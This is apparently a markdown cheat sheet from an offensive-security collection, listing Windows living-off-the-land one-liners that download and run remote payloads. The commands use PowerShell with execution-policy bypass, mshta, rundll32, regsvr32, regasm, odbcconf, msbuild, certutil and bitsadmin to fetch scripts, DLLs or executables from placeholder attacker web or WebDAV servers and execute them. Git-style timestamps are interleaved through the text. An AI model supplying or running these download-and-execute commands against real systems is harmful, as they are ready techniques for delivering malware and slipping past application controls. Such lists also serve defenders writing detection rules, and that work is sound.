2017-11-24 08:57:48 +00:00
# Windows - Download and execute methods
## Downloaded files location
2018-08-12 21:30:22 +00:00
2017-11-24 08:57:48 +00:00
- C:\Users\<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files\
- C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCache\IE\<subdir>
- C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV
## Powershell
2018-08-12 21:30:22 +00:00
2017-11-24 08:57:48 +00:00
From an HTTP server
2018-08-12 21:30:22 +00:00
```powershell
2017-11-24 08:57:48 +00:00
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"
```
From a Webdav server
2018-08-12 21:30:22 +00:00
```powershell
2017-11-24 08:57:48 +00:00
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
```
## Cmd
2018-08-12 21:30:22 +00:00
```powershell
2017-11-24 08:57:48 +00:00
cmd.exe /k < \\webdavserver \folder \batchfile.txt
```
## Cscript / Wscript
2018-08-12 21:30:22 +00:00
```powershell
2017-11-24 08:57:48 +00:00
cscript //E:jscript \\webdavserver\folder\payload.txt
```
## Mshta
2018-08-12 21:30:22 +00:00
```powershell
2017-11-24 08:57:48 +00:00
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
```
2018-08-12 21:30:22 +00:00
```powershell
2017-11-24 08:57:48 +00:00
mshta http://webserver/payload.hta
```
2018-08-12 21:30:22 +00:00
```powershell
2017-11-24 08:57:48 +00:00
mshta \\webdavserver\folder\payload.hta
```
## Rundll32
2018-08-12 21:30:22 +00:00
```powershell
2017-11-24 08:57:48 +00:00
rundll32 \\webdavserver\folder\payload.dll,entrypoint
```
2018-08-12 21:30:22 +00:00
```powershell
2017-11-24 08:57:48 +00:00
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
```
## Regasm / Regsvc @subTee
2018-08-12 21:30:22 +00:00
```powershell
2017-11-24 08:57:48 +00:00
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
```
## Regsvr32 @subTee
2018-08-12 21:30:22 +00:00
```powershell
2017-11-24 08:57:48 +00:00
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
```
2018-08-12 21:30:22 +00:00
```powershell
2017-11-24 08:57:48 +00:00
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
```
## Odbcconf
2018-08-12 21:30:22 +00:00
```powershell
2017-11-24 08:57:48 +00:00
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
```
## Msbuild
2018-08-12 21:30:22 +00:00
```powershell
2017-11-24 08:57:48 +00:00
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
```
## Certutil
2018-08-12 21:30:22 +00:00
```powershell
2017-11-24 08:57:48 +00:00
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
```
2018-08-12 21:30:22 +00:00
```powershell
2017-11-24 08:57:48 +00:00
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
```
2018-11-02 12:50:56 +00:00
## Bitsadmin
```powershell
bitsadmin /transfer mydownloadjob /download /priority normal http://< attackerIP > /xyz.exe C:\\Users\\%USERNAME%\\AppData\\local\\temp\\xyz.exe
```
2018-12-24 14:02:50 +00:00
## References
2018-08-12 21:30:22 +00:00
- [arno0x0x - Windows oneliners to download remote payload and execute arbitrary code ](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/ )